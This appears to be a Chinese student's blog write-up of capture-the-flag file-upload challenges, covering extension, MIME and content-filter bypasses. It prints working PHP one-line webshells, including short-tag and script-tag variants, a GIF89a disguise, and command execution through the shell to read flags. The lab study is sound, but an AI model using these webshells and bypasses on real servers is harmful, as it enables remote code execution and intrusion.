Web三漏洞学习(其一:文件上传漏洞)

news2025/4/16 12:14:54

靶场:云曦历年考核题

一、文件上传

在此之前先准备一个一句话木马

将其命名为muma.txt

23年秋期末考

来给师兄上个马

打开环境以后直接上传muma.txt,出现js弹窗,说明有前端验证

提示只能上传.png .jpg 和 .gif文件,那就把muma.txt的后缀改一下,改为允许的

然后直接上传看看

很明显,这个路径是不可用的,既然直接传是不行的,那就抓包看一下MIME类型

MIME类型没问题,但既然通过了前端验证那就需要改一下filename为可执行的php

然后放行

结果提示后缀不允许

说明后端对php后缀也进行了过滤,然后尝试更改等价扩展名(phtml)

提示上传成功

但好像还是不可用的路径

拼接上去后的确找不到

改一下还是找不到,就说明的确没绕过

黑盒测试的麻烦之处就在于有很多东西是未知的,需要一步步尝试

接下来试试大小写能不能绕过

也不可以,然后我又试了Apach解析漏洞的添加不合法(不认识)后缀名    .php.xxx 也不行

然后想到.htaccess文件

内容如下

先上传试试

哎呀忘了它说只能上传那三种文件

只能返回去看题目提示

js绕过了,MIME类型也不用改,因为后缀就是.jpg,那后缀再好好看看...

但是,似乎好像是我想多了,虽然路径显示的不正确,但把xxx改为我木马存的名字(muma.php),然后打开蚁剑连接木马存放的路径竟然连上了

看来真是想麻烦了

接下来添加数据搜寻flag即可

这里打开看到我之前的木马其实是上传成功了的

找到flag

23年春季开学考

easy_upload

这上传界面还挺好看的

 然后随便上传一个muma.php文件,显示错误

然后把后缀改为.jpg发现可以上传

但由于jpg文件无法让一句话木马执行,所以需要抓包改一下

抓包上传

改后缀为可解析木马的php

得到路径

拼接url访问

空白页就对了,说明一句话木马上传成功的同时也被解析

不放心的话利用上传的木马参数(我的是a)执行一下php语句试试

执行成功,接下来直接连接蚁剑

连接成功,保存查找flag

相对于其他题目,这个flag又隐藏得没那么明显

24年秋季开学考

文件上传 

这侧脸我能猜出是哪位师兄

老套路,先上传muma.php测试一下,结果提示非法文件

嗯?这是神马意思

英语不好,翻译一下

 本来只是想查一下这个单词的意思的,结果直接告诉我我的问题了。

那这样的话其实和之前遇到的后端检测到上传的文件内含有php代码是一个意思,和它告诉我的一样,之前我也是把php语言的一句话木马伪造成Javascript语言,让其识别不出php语言

具体是这样构造的

<script language='php'>@eval($_POST['a']);</script>

就是把php代码的一句话木马嵌入Javascript代码来理解

然后把代码保存为js.jpg上传即可(刚测试过jpg文件可以上传)

但有时候光这个是不够的,还需要另一个伪装,就是在前面加上伪装成图片头的格式

如 GIF89a,但这题不需要,我们可以直接上传

上传后得到文件路径

接下来就老套路了吧

拼接url访问

啥?诈骗???怎么又来一个

先拿蚁剑连连看

的确没连上

没办法 返回去题目发现一个附件,下载并解压

得到好像是关于这个题的源代码

一个个打开看了以后发现好像就index.php可用,注意到这几行代码

看到了上传白名单,又往下注意到md5那几行

上网查了一下

也就是说我原本上传的文件路径被替换为另一个路径,还将我的文件名进行了md5加密,这会不会就是找不到图片路径的原因

不过我突然意识到什么

不是,,我都没抓包改后缀,jpg怎么解析???

fou了

抓包

改php

很显然,php是禁止文件,直接改那么简单怎么可能,结果当然是显示非法文件

那就还是需要把目光放到源代码上,既然给我们了就不是摆设

注意到这段代码

可以看到允许上传的白名单后缀 ,继续往下,$tmp_name和$file_name以及$temp  $extension

四个函数,最后是给了合法的MIME类型。

那四个函数的作用我也不懂,上网查了一下

 然后最重要的这两个函数

这题的突破口就在这里了

既然explode函数会将文件名按  .  分为左右两个元素,又组合成一个数组$temp, 紧接着end函数把数组中的最后一个元素获取当做文件的拓展名,芜湖~~

这样一来,如果我把后缀名改为多个.分割的,其中含有.php,但最后一个保持为.jpg,然后MIME类型也是合法的也就可以绕过了

虽然得到了路径,但还是有点长

按理来说,上传的文件会被存储为js.php.jpg   访问该文件时,如果服务器配置不当,就会把js.php.jpg文件解析为PHP文件并执行其中代码(思路是这样的)

但访问后还是同样的页面

蚁剑自然也连不上 ,因为都没解析  这种情况其实主要取决于服务器的配置。如果服务器正确配置了文件解析规则,例如只解析以.php结尾的文件,那么这种方法自然不会成功

这题暂时没研究清楚,先下一题

24年秋期末考

ez_upload 1

直接上传muma.txt文件虽然提示上传成功,但问只能上传.txt文件吗

先不管其他的可不可以,既然这个可以就先让它解析

抓包重新上传

修改后缀名

然后显示文件上传成功,可以用蚁剑

奇怪的是尝试拼接了两次都显示not found,第三次才显示空白页

 

php语句能执行连蚁剑

get flag

 

ez_upload 2

让换个好看的背景图片

那就随便上传张图片试试

上传成功,此时问只能上传.jpg文件吗

应该是提示jpg图片可以上传的意思。那就再试试一句话木马muma.txt试试

结果发现上传以后又返回原来的界面了

既然是黑盒测试就不用管它,直接抓包上传试试

改后缀可执行php,改MIME类型为刚发现可以上传的image/jpeg

上传成功,得到路径

在拼接路径的时候一定要小心,仔细一些,看我这里就因为uploads前面多了个空格就not found找不到了

删去,见空白页

php语句可执行连蚁剑

get flag

 

因为这次的考核主要针对24级新生,所以这两题文件上传漏洞题比较简单

不是,等一下,flag不正确??

那就还需要再找一下了

完喽,我环境都关了 ,,算了,再做一遍

哦豁,重新做了一遍但这遍的flag到这一步提交是正确的

我也不清楚什么原因,应该是刚刚的环境出了点问题

24春开学考

这都不做?

上来就上传了一个muma.txt文件,提示禁止

翻译一下

也就是说MIME类型被检测了,而提示只有jpg图像的MIME类型允许上传

那就抓包改一下

后缀名、MIME类型都改一下放行

 

芜湖,php代码也被发现了

那就不得不用上上面做好的js伪装代码了(刚写过把一句话木马的php代码嵌入Javascript标签里,伪造成js代码绕过过滤)

拿出刚准备好的 js.txt文件

抓包上传

额,这个也隐藏不了

最后经过多次尝试,发现了其中一种方法:

php短标签

这里就要了解到一个知识点:

在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是<?php?>,

而短标签则<??>。短标签的使用可以让PHP代码简洁,但它需要在php.ini配置文件中通过short\_open\_tag选项被明确的启用。(但不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。)

在文件上传漏洞中,“短标签绕过”通常指攻击者利用目标服务器开启对PHP短标签的支持这一特点,通过上传包含短标签的恶意PHP代码来执行远程代码。

这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php),而忽略了短标签。

如当文件上传过滤器只检查是否存在<?php标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?开头的PHP代码来绕过过滤器

例如,一个简单的一句话木马PHP脚本标准的PHP标签可能是这样的

<?php @eval($_POST['a']);?>

但如果服务器开启了短标签支持,攻击者可以利用短标签绕过

<?= eval($_POST['a']);?>

或者更隐蔽的短标签:

<?=shell\_exec($_POST['a'])?>

这里的<?=是另一种形式的短标签,用于输出,但它在PHP5.4.0及更高版本中默认开启,不受short\_open\_tag配置选项的影响。

综上新建一个短标签文档,命名为duanbiaoqian.txt

填入的内容如图

最后还需要在一句话木马内容的前面加上GIF89a,这是GIF文件(图片)的标识,可以做到更好的隐藏。

而且验证一句话木马上传是否成功的一般方法为直接访问上传的一句话木马文件,上传成功服务器就会执行我们上传的脚本,由于GIF89a是一个标识,不会被执行,访问文件时就会正常显示在页面上,这样也方便我们自查一句话木马上传是否成功(这和之前构造的构造Javascript代码来伪装一句话提到的也是一样的)

 

其次是针对文件后缀名的

服务器会将上传的文件后缀注释掉,只要不是.php结尾文件自然不会被服务器当做php代码执行

所以这里需要将php双写,在.php中间再加一个php,即.pphphp  (服务器会注释中间的php,还剩.php    导致短标签一句话木马可以服务器执行)

然后显示上传成功,但让我猜路径

可以看到,处理文件上传的php脚本为upload.php,所以可以猜测存放上传文件的路径为/upload文件夹

那就拼接一下原url/upload/duanbioaqian.php(短标签木马的文件名)

额访问后not found,仔细看才发现原来的文件名就写错了(写成duanbaioqina.php)难怪访问不到

那就按这个文件名访问(upload/duanbiaoqina.php)

后面试了几次还是访问不到,那就重新传一次吧

这次先把木马名改简单一点

重新上传

拼接路径

看到了吧,木马已被服务器执行而只显示标识符GIF89a

php语言可执行

接下来找flag即可

其实有两种方法,一种就是之前的蚁剑连接直接在图形化目录下找;

另一种就是利用浏览器插件Hackbar命令执行

第一种和前面一样,连接蚁剑

然后直接找flag目录

这里upload目录下还能看到刚上传成功但没访问到的文件

然后点开看才知道访问不到的原因是木马写错了(没加= ,     标准的是<?= eval($_POST['a']);?>

所以说不能大意吧

找到flag

 

第二种利用Hackbar

删掉刚刚的phpinfo();  语句,执行  a=system('ls');   (这个命令意为 列出当前目录所有文件。)

然后有看到刚上传上去的所有文件(有点多,有点影响,早知道把靶场关了重新开再上传)

不过没关系,我们要的是flag,肯定不可能在upload文件目录下

那么直接查看根目录:  a=system('ls /');

看到了吧,所有目录都在下面了

直接锁定flag目录

接下来cat flag 即可: a=system('cat /flag);

得到flag

当然,执行命令这种方法只适用于flag位于比较显眼的目录或者好找一点的目录,随便找一下就能cat到的,如果flag在一个特殊的,难找一点的目录用这种方法就比较费时间精力了

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2335947.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Web三漏洞学习(其二:sql注入)

靶场&#xff1a;NSSCTF 、云曦历年考核题 二、sql注入 NSSCTF 【SWPUCTF 2021 新生赛】easy_sql 这题虽然之前做过&#xff0c;但为了学习sql&#xff0c;整理一下就再写一次 打开以后是杰哥的界面 注意到html网页标题的名称是 “参数是wllm” 那就传参数值试一试 首先判…

KrillinAI:视频跨语言传播的一站式AI解决方案

引言 在全球内容创作领域&#xff0c;跨语言传播一直是内容创作者面临的巨大挑战。传统的视频本地化流程繁琐&#xff0c;涉及多个环节和工具&#xff0c;不仅耗时耗力&#xff0c;还常常面临质量不稳定的问题。随着大语言模型(LLM)技术的迅猛发展&#xff0c;一款名为Krillin…

gravity`(控制 View 内部内容的对齐方式)

文章目录 **1. 常用取值****示例** **2. layout_gravity&#xff08;控制 View 在父容器中的对齐方式&#xff09;****常用取值****示例** **3. gravity vs layout_gravity 对比****4. 注意事项****5. 总结** 作用对象&#xff1a;当前 View 的内部内容&#xff08;如 TextView…

gitdiagram源码架构分析

https://github.com/ahmedkhaleel2004/gitdiagram 整体架构分析 前端请求入口&#xff1a; 后端对应接口&#xff1a; 后端调试 后端调试&#xff1a;会提示api_key失败的问题&#xff1a; 有两种方法解决&#xff1a; 1、注释掉下面的行代码&#xff1b; 方法二&#xff1…

蓝光三维扫描:汽车冲压模具与钣金件全尺寸检测的精准解决方案

随着汽车市场竞争日趋激烈&#xff0c;新车型开发周期缩短&#xff0c;安全性能要求提高&#xff0c;车身结构愈加复杂。白车身由多达上百个具有复杂空间型面的钣金件&#xff0c;通过一系列工装装配、焊接而成。 钣金件尺寸精度是白车身装配精度的基础。采用新拓三维XTOM蓝光…

深度学习占用大量内存空间解决办法

应该是缓存的问题&#xff0c;关机重启内存多了10G&#xff0c;暂时没找到别的方法 重启前 关机重启后

Matlab绘制函数方程图形

Matlab绘制函数方程图形&#xff1a; 多项式计算: polyval 函数 Values of Polynomials: polyval ( ) 绘制方程式图形&#xff1a; 代码如下&#xff1a; >> a[9,-5,3,7]; x-2:0.01:5; fpolyval(a,x); plot(x,f,LineWidth,2); xlabel(x); ylabel(f(x))…

电视盒子 刷armbian

参考 中兴电视盒子中兴B860AV3.2-M刷Armbian新手级教程-CSDN博客 1.刷安卓9 带root版本 a. 下载安卓线刷包 链接&#xff1a;https://pan.baidu.com/s/1hz87_ld2lJea0gYjeoHQ8A?pwdd7as 提取码&#xff1a;d7as b.拆机短接 3.安装usbburning工具 使用方法 &#xff0c;…

AI应用开发之扣子第一课-夸夸机器人

首先&#xff0c;进入官网&#xff1a;点击跳转至扣子。 1.创建智能体 登录进网站后&#xff0c;点击左上角&#xff0b;图标&#xff0c;创建智能体&#xff0c;输入智能体名称、功能介绍 2.输入智能体提示词 在“人设与回复逻辑”输入以下内容&#xff1a; # 角色 你是一…

【计算机网络实践】(十二)大学校园网综合项目设计

本系列包含&#xff1a; &#xff08;一&#xff09;以太网帧分析与网际互联协议报文结构分析 &#xff08;二&#xff09;地址解析协议分析与传输控制协议特性分析 &#xff08;三&#xff09;交换机的基本操作、配置、 虚拟局域网配置和应用 &#xff08;四&#xff09;交…

uniapp小程序位置授权弹框与隐私协议耦合(合而为一)(只在真机上有用,模拟器会分开弹 )

注意&#xff1a; 只在真机上有用&#xff0c;模拟器会分开弹 效果图&#xff1a; 模拟器效果图&#xff08;授权框跟隐私政策会分开弹&#xff0c;先弹隐私政策&#xff0c;同意再弹授权弹框&#xff09;&#xff1a; manifest-template.json配置&#xff08; "__usePr…

【星闪模组开发板WS8204SLEBLEModule】星闪数据收发测试

目录 开发板简介 串口设置 主从模式设置 AT命令数据发送 透传模式数据发送 结语 本文首发于《电子产品世界》论坛&#xff1a;【星闪模组开发板WS8204SLE&BLEModule】星闪数据收发测试-电子产品世界论坛https://forum.eepw.com.cn/thread/392011/1 感谢eepw论坛和成…

基础知识:Dify 错误排查

Case1:Dify 卡在管理员界面 查看容器状态 docker compose ps 可以看到有个容器异常:docker_db_1 的状态是 Restarting(表示一直在重启) 解决方案 参考:https://github.com/langgenius/dify/issues/5731

spring cloud微服务断路器详解及主流断路器框架对比

微服务断路器详解 1. 核心概念 定义&#xff1a;断路器模式通过快速失败机制防止故障扩散&#xff0c;当服务调用出现异常或超时时&#xff0c;自动切换到降级逻辑&#xff0c;避免级联故障。核心功能&#xff1a; 熔断&#xff1a;在故障阈值&#xff08;如错误率&#xff09…

(小白0基础) 微调deepseek-8b模型参数详解以及全流程——训练篇

​ 本篇参考bilibili如何在本地微调DeepSeek-R1-8b模型_哔哩哔哩_bilibili 上篇&#xff1a;(小白0基础) 租用AutoDL服务器进行deepseek-8b模型微调全流程(Xshell,XFTP) —— 准备篇 初始变量 max_seq_length 2048 dtype None load_in_4bit True单批次最大处理模型大小dy…

关于汽车辅助驾驶不同等级、技术对比、传感器差异及未来发展方向的详细分析

以下是关于汽车辅助驾驶不同等级、技术对比、传感器差异及未来发展方向的详细分析&#xff1a; 一、汽车辅助驾驶等级详解 根据SAE&#xff08;国际自动机工程师学会&#xff09;的标准&#xff0c;自动驾驶分为 L0到L5 六个等级&#xff1a; 1. L0&#xff08;无自动化&…

mongodb7日志特点介绍:日志分类、级别、关键字段(下)

#作者&#xff1a;任少近 上篇《mongodb7日志特点介绍&#xff1a;日志分类、级别、关键字段(上)》 链接: link 文章目录 4.日志会输出F/E/W/I四种情况5.日志关键字段6.日志量验证情况7.总结 4.日志会输出F/E/W/I四种情况 在MongoDB7中&#xff0c;日志输出按照严重性分为四种…

word中插入图片显示不完整,怎么处理让其显示完整?

在WORD里插入图片后&#xff0c;选择嵌入式发现插入的图片显示不正常&#xff0c;只能显示底部一部分&#xff0c;或者遮住文字。出现此故障的原因有可能是设置为固定值的文档行距小于图形的高度&#xff0c;从而导致插入的图形只显示出了一部分。 1.选中图片&#xff0c;然后点…

SAP S4HANA embedded analytics

SAP S4HANA embedded analytics

JavaWeb开发 Servlet底层 Servlet 过滤器 过滤器和拦截器 手写一个限制访问路径的拦截器

目录 万能图 过滤器自我理解 案例 实现Filter 接口 配置文件 web.xml 将过滤器映射到 servlet 用处 拦截器 手写案例 重写 preHandle() 方法 拦截处理 重写 postHandle() 方法 后处理 重写 afterHandle() 方法 完成处理 代码 如何配置拦截器 万能图 还是看一下这张…